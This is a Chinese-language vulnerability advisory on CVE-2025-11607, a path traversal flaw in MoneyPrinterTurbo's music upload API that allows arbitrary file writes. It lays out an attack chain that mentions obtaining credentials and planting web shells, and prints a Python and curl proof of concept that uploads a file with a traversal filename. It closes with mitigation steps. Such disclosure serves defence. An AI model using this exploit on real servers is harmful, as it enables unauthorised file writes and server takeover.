IPBUF安全漏洞报告
English
CVE-2025-11607 CVSS 6.3 中危

CVE-2025-11607:MoneyPrinterTurbo路径遍历漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-11607
漏洞类型
路径遍历(Path Traversal)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
harry0703 MoneyPrinterTurbo

相关标签

路径遍历Path TraversalMoneyPrinterTurbo任意文件写入API漏洞文件上传CVE-2025-11607中危漏洞PythonWeb应用安全

漏洞概述

CVE-2025-11607是harry0703开发的MoneyPrinterTurbo项目(版本至1.2.6)中存在的一个路径遍历(Path Traversal)安全漏洞。该漏洞位于API端点组件中的upload_music函数,具体文件路径为app/controllers/v1/music.py。攻击者可以通过操控File参数实现路径遍历攻击,从而在服务器上写入任意文件。该漏洞的CVSS 3.1评分为6.3分,属于中危级别。攻击者需要具备低权限认证即可远程发起攻击,无需用户交互。漏洞的成功利用可能导致低级别的机密性、完整性和可用性影响。该漏洞的利用代码已经被公开披露,潜在威胁较高,可能被攻击者用于实际攻击活动中。MoneyPrinterTurbo是一款自动化视频生成工具,用户群体广泛,因此该漏洞的影响范围值得关注。漏洞已于2025年10月11日被公开披露,发现者通过VulDB平台提交了该漏洞报告。

技术细节

该漏洞的核心问题在于MoneyPrinterTurbo的API端点中upload_music函数对用户上传的音乐文件路径处理不当。具体而言,在app/controllers/v1/music.py文件中,当处理用户通过File参数上传的文件时,服务端未对文件名进行充分的过滤和校验,攻击者可以通过构造包含路径遍历序列(如../)的文件名,绕过预期的文件存储路径限制。攻击原理如下:1)攻击者首先需要获取有效的低权限认证凭据(如普通用户账号);2)通过API端点调用upload_music接口,在上传文件的文件名中注入路径遍历payload,例如将文件名设置为../../../../tmp/malicious_file;3)服务端在处理文件保存时,由于缺乏对路径的规范化处理(如未使用os.path.basename()或未对路径进行白名单校验),会将文件写入到攻击者指定的任意目录;4)攻击者可通过此漏洞实现任意文件写入(Arbitrary File Write),进而可能导致远程代码执行、覆盖关键系统文件或植入Web Shell等进一步攻击。该漏洞的利用条件相对简单,攻击者仅需基本的API调用能力即可实施攻击,且无需用户交互配合。由于漏洞利用代码已公开,实际攻击门槛进一步降低。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统运行MoneyPrinterTurbo 1.2.6或更早版本,通过公开信息或服务指纹确认API端点存在。
STEP 2
步骤2:获取认证凭据
攻击者通过钓鱼、暴力破解或购买泄露凭据等方式获取低权限用户账号(PR:L权限要求)。
STEP 3
步骤3:构造恶意请求
攻击者构造包含路径遍历payload的文件上传请求,在File参数的文件名中注入../序列,如../../../../tmp/malicious_file。
STEP 4
步骤4:发送上传请求
通过API端点/api/v1/music/upload发送multipart/form-data格式的文件上传请求,携带恶意文件名。
STEP 5
步骤5:触发路径遍历
服务端upload_music函数未对文件名进行安全校验,将文件写入到攻击者指定的任意目录,实现任意文件写入。
STEP 6
步骤6:后续利用
攻击者可写入Web Shell、覆盖关键配置文件或植入后门程序,进一步获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11607 - MoneyPrinterTurbo Path Traversal PoC # Vulnerability: Path Traversal in upload_music function (app/controllers/v1/music.py) # Affected: MoneyPrinterTurbo <= 1.2.6 import requests # Target configuration TARGET_URL = "http://target:8080" AUTH_TOKEN = "your_low_privilege_token_here" # Step 1: Authenticate and obtain session (if needed) session = requests.Session() # Step 2: Prepare the malicious file upload with path traversal payload # The File parameter is manipulated to traverse directories malicious_filename = "../../../../tmp/evil_file.txt" # Craft the multipart form data with traversal filename files = { "file": (malicious_filename, b"malicious content payload", "audio/mpeg") } # Step 3: Send the request to the vulnerable upload_music endpoint headers = { "Authorization": f"Bearer {AUTH_TOKEN}", } upload_url = f"{TARGET_URL}/api/v1/music/upload" response = session.post(upload_url, files=files, headers=headers) # Step 4: Check the response if response.status_code == 200: print(f"[+] Path traversal successful! File written to: {malicious_filename}") print(f"[+] Response: {response.text}") else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative: Using curl command # curl -X POST "http://target:8080/api/v1/music/upload" \ # -H "Authorization: Bearer YOUR_TOKEN" \ # -F "file=@local_file.mp3;filename=../../../../tmp/evil_file.txt"

影响范围

MoneyPrinterTurbo <= 1.2.6

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制upload_music API端点的访问权限,仅允许可信IP调用;2)在反向代理层(如Nginx)添加路径遍历检测规则,拦截包含../的文件名;3)临时禁用文件上传功能或将其设置为仅管理员可用;4)监控上传目录的文件变化,及时发现异常写入行为;5)检查服务器上是否已存在异常文件,特别是Web目录下的可疑文件;6)审查API访问日志,查找可能的攻击痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表